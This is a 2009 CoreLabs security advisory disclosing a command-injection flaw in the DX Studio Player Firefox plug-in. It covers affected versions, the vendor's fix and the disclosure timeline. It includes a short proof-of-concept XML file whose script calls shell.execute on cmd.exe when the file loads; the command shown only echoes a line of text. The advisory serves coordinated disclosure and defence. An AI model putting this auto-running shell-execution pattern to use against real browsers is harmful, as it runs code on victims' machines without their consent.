Core Security Technologies Advisory 2009.0521

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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
DX Studio Player Firefox plug-in command injection  
  
  
  
1. *Advisory Information*  
  
Title: DX Studio Player Firefox plug-in command injection  
Advisory ID: CORE-2009-0521  
Advisory URL:  
http://www.coresecurity.com/content/DXStudio-player-firefox-plugin  
Date published: 2009-06-09  
Date of last update: 2009-06-09  
Vendors contacted: Worldweaver  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Command injection  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: N/A  
CVE Name: CVE-2009-2011  
  
  
3. *Vulnerability Description*  
  
DX Studio [1] is a complete integrated development environment for  
creating interactive 3D graphics. DX Studio Player plug-in for Firefox  
[2] is vulnerable to a remote command execution vulnerability.  
  
  
4. *Vulnerable packages*  
  
. DX Studio Player v3.0.29.0  
. DX Studio Player v3.0.22.0  
. DX Studio Player v3.0.12.0  
. Older versions are probably affected too, but they were not checked.  
  
  
5. *Non-vulnerable packages*  
  
. DX Studio Player v3.0.29.1  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
On June 1st DXStudio team patched the current release 3.0.29 to 3.0.29.1  
for all new downloads to fix the problem with the Firefox plugin, and  
also posted a sticky announce for all its users [3].  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Diego Juarez from  
Core Security Technologies.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
DX Studio is a complete integrated development environment for creating  
interactive 3D graphics. DX Studio provides a javascript API in which  
the method 'shell.execute()' is defined as follows:  
  
/-----------  
  
Prototype:  
shell.execute(commandString, [paramString], [commandIsProgId]);  
  
- -----------/  
  
This method sends the 'commandString' to the Windows shell with optional  
parameters in 'paramString'. For security reasons, this function is not  
available when running in a web browser. If you set 'commandIsProgId' to  
true, you can launch a utility by its 'ProgID', e.g. 'WMP.DVD' with  
parameter 'play' would play a DVD in Windows Media Player.  
  
In our tests, despite what is stated in the documentation, we found that  
the function is actually available to both the Internet Explorer and  
Firefox browser plug-ins. In the IE plug-in the user does get a warning  
about the security implications of allowing such '.dxstudio' file to  
run. On Firefox however, there is no such warning whatsoever, allowing  
an attacker to execute arbitrary code on the client side by luring the  
victim into clicking a link or visiting a malicious website.  
  
  
8.1. *Proof of Concept (header.xml)*  
  
/-----------  
  
<?xml version="1.0" encoding="utf-8" standalone="yes"?>  
<dxstudio version="1.0.0" width="800" height="600"  
defaultscriptlanguage="javascript">  
<display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no"  
maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes"  
changeresolution="no" userresize="yes" workarea="no" windowmask="no"  
src="" minplayerversion="1.0.0">  
<loading console="yes" custom="no" custombackground="no"  
customlogo="yes" showversion="no">  
<prop id="background" type="color" r="0" g="0" b="0" a="1" />  
<logo src="" />  
<customprogress />  
</loading>  
</display>  
<script>  
<![CDATA[function onInit()  
{  
shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.")  
} ] ]>  
</script>  
<licenseinfo stamp="cgdaaaaa" />  
<security>  
<prop id="password" type="string" value="" />  
<prop id="allowplayer" type="bool" state="no" />  
<prop id="nocache" type="bool" state="yes" />  
</security>  
</dxstudio>  
  
- -----------/  
  
Note: The security vulnerability is also exploitable on the standalone  
player, however, this functionality appears to be the expected behavior  
and fully intended for the standalone player.  
  
  
9. *Report Timeline*  
  
. 2009-05-21:  
Core Security Technologies notifies the Worldweaver Support Team (WST)  
of the vulnerability and announces its initial plan to publish the  
content on June 15th, 2009.  
  
. 2009-05-26:  
The WST asks Core for a technical description of the vulnerability.  
  
. 2009-05-26:  
Technical details sent to WST by Core.  
  
. 2009-06-08:  
Core asks WST for an estimated date to fix this issue.  
  
. 2009-06-08:  
WST notifies Core that a fix has already been produced and it is  
available to the users.  
  
. 2009-06-09:  
The advisory CORE-2009-0521 is published.  
  
  
10. *References*  
  
[1] http://www.dxstudio.com.  
[2] http://www.dxstudio.com/download2.aspx.  
[3]  
http://www.dxstudio.com/forumtopic.aspx?topicid=b4152459-fb5f-4933-b700-b3fbd54f6bfd  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security  
Technologies and (c) 2009 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
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